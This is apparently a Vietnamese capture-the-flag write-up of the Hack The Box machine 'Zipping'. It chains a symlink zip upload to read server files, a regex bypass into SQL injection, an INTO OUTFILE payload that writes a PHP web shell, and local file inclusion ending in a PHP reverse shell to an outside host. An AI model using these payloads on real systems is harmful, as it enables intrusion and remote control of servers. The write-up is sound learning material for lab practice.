+3

[Write-up] Hackthebox: Zipping - SQL Injection to LFI

OS Difficulty
Linux Medium

Giới thiệu

Zipping là 1 machine thuộc dạng medium của Hackthebox. Với mức độ easy thì phần lớn là chúng ta sẽ dùng các CVE để thực hiện khai thác. Nhưng với những bài dạng medium thì cần phải có hiểu biết với những lỗ hổng bảo mật cũng như cách bypass filter mà đề bài đặt ra. Với bài zipping này ta sẽ có kiến thức về symlink, bypass được regex, SQL Injection, Local File Inclusion

1. Recon

Thực hiện nmap để scan port đang mở

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.229
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-25 02:33 EST
Nmap scan report for 10.10.11.229
Host is up (2.2s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds

Hiện nó đang mở cổng ssh và http.

Server chạy với ngôn ngữ PHP và trên Apache Server

2. Enum

Thực hiện directory scan

┌──(kali㉿kali)-[~/hackthebox/zipping]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.229/FUZZ          

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.229/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 974ms]
uploads                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 124ms]
shop                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 113ms]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 105ms]

Thực hiện kiểm tra trên giao diện web

image.png

Chức năng Work with Us cho phép ta upload file cv bằng pdf và thư mục lưu trữ các file đó sẽ là /uploads

Chức năng Shop sẽ redirect ta đến 1 trang web mua hàng:

image.png

3. Exploit

Quay lại với chức năng upload cv mà mình tìm được

image.png

Yêu cầu đầu vào của nó là file up lên phải là 1 file .zip và file .zip đó được nén từ file .pdf. Như này thì ta không thể thực hiện bằng file upload thông thường với php được

Sau khi tìm kiếm trên hacktricks thì đó là upload symlink. Nguồn của nó ở đây.

Cụ thể ta sẽ thực hiện upload 1 symlink với đuôi .pdf trỏ đến file có trên server. Câu lệnh linux sẽ như sau:

ln -s ../../../../../../../../đường_dẫn_đến_file_ta_cần_xem     tên_file.pdf

Sau đó sẽ thực hiện zip lại

zip --symlinks    tên_file.zip     tên_file.pdf

Để kiểm chứng giả thuyết mình sẽ thực hiện tạo symlink với /etc/passwd

ln -s ../../../../../../../../etc/passwd        passwd.pdf

Mình sẽ đặt tên cái symlink này là passwd.pdf . Sau đó sẽ thực hiện zip lại với tên là passwd.zip

zip --symlinks     passwd.zip     passwd.pdf

Sau đó sẽ upload lên thành công mình đọc nó sẽ tạo cho mình 1 thư mục ngẫu nhiên trong đó có file pdf(lúc này là symlink) mà mình đã nén. Như hình dưới là /uploads/829dd708554768e3f1bc404bf4daf445/symlink.pdf

image.png

Như vậy đến lúc này mình hoàn toàn có thể đọc được flag của user do mình biết trong file /etc/passwd có 1 người dùng tên là rektsu và có thư mục là /home/rektsu (ở dòng 35 ở phần response trả về)

Nhưng mục đích của mình là RCE được hệ thống ít nhất với quyền user nên là mình sẽ không vội xem flag

Đến với việc khai thác chính:

Đầu tiên ta cần phải xem trên web nó gồm những file php nào. Sau một hồi tìm tất cả các chức năng thì mình tìm được các tên tệp sau:

  • index.php
  • upload.php
  • shop (folder )
    • home.php
    • products.php
    • product.php
    • cart.php
    • function.php

Sau đó chúng ta sẽ đọc từng file trên hệ thống như cái cách ta kiểm chứng giả thuyết với /etc/passwd ở trên. Mình sẽ đưa các file là attack surface xuống dưới đây và giải thích

/shop/index.php
<?php
			session_start();
			// Include functions and connect to the database using PDO MySQL
			include 'functions.php';
			$pdo = pdo_connect_mysql();
			// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
			$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
			// Include and show the requested page
			include $page . '.php';
?>

Chức năng của file index này nó có input là page sau đó nó nối input của chúng ta vào đuôi .php Sau đó sẽ kiểm tra xem nó có tồn tại hay không nếu có sẽ thực hiện include file đó. Nếu không nó sẽ gọi đến home.php (1 trang không khai thác được)

Thì điểm khai thác ở đây là nó nhận untrusted data ở biếnpage và sử dụng include để gọi đến, dẫn đến lỗ hổng Local File Inclusion(LFI). Nhưng trở ngại ở đây là cái file mình nhập vào nó phải tồn tại trên server và có đuôi .php . Và như vậy theo mình đây là 1 nơi để có thể RCE

/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");    
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

Ở file product.php này, nó có biến id mà ta có thể thay đổi được. Biến id này sẽ đi vào 1 cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/ , giải thích qua cái regex này thì nó sẽ kiểm tra xem id có phải là số không, nếu không phải là số web sẽ redirect về index.php . Nếu là số nó sẽ xuống else và đi vào câu truy vấn.

Ở code có sử dụng prepare statements(1 cách để chống với SQL injection) nhưng thực ra biến id được nối vào câu query nên ta vẫn có thể khai thác SQLi được.

Attack vector mình nghĩ trong đầu sẽ là:

  • SQL injection để tạo file shell.php trong hệ thống
  • Sau đó dùng LFI để include đến file shell.php rồi có thể RCE hệ thống

Bắt đầu thực hiện

Đầu tiên với product.php

/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");    
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

Đầu tiên ta cần nhập biến id vào mà có thể bypass cái regex ở if và đi đến câu query. Sau khi tìm hiểu thì mình tìm được ở đây , giải thích thì

Để bypass cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/ chúng ta sẽ thực hiện xuống dòng sau (%0A) để bypass cụm 1(.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]) và để số ở cuối để bypass cụm 2([^0-9])

Như vậy input của mình sẽ là:

%0A'; select sleep(5) #4
-- URL encode: 
%0a'%3bselect%20sleep(5)%20%234

Câu lệnh này nếu thực hiện sẽ cho hệ thống chờ 5 giây

image.png

Kiểm tra trên burp và nó có thời gian phản hồi là 5 giây ở phần khoanh đỏ

Như vậy ta có thể thực hiện SQL trên hệ thống. Nhưng SQL để làm gì? SQL ngoài truy vấn ra còn có thể ghi file lên hệ thống nhưng phải có quyền ghi, mà làm sao mình biết mình có quyền hay không?

Và theo mình tìm hiểu thì chúng ta có quyền ghi file vào /var/lib/mysql/ , nó giống như /tmp trong linux vậy

Như vậy mình bắt đầu viết câu query để thực hiện tạo file và ghi vào file đó trên /var/lib/mysql/. Payload là:

%0A';select '<?php system($_GET["cmd"]); ?>' into outfile '/var/lib/mysql/shell123.php' #4

Thực hiện gửi request

image.png

Đến đây mình sẽ dùng LFI để có thể gọi đến file .php này và RCE

image.png

Chúng ta thực hiện reverse shell và lắng nghe ở máy local

http://10.10.11.229/shop/index.php?page=../../../../../../../../var/lib/mysql/shell123&cmd=../../../../../../../../var/lib/mysql/shell123&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.74%22,8888);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27

RCE thành công

image.png

4. Recommendation

  • Không cho untrusted data được lọt vào hàm include
  • Nên thực sự hiểu và dùng regex

All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí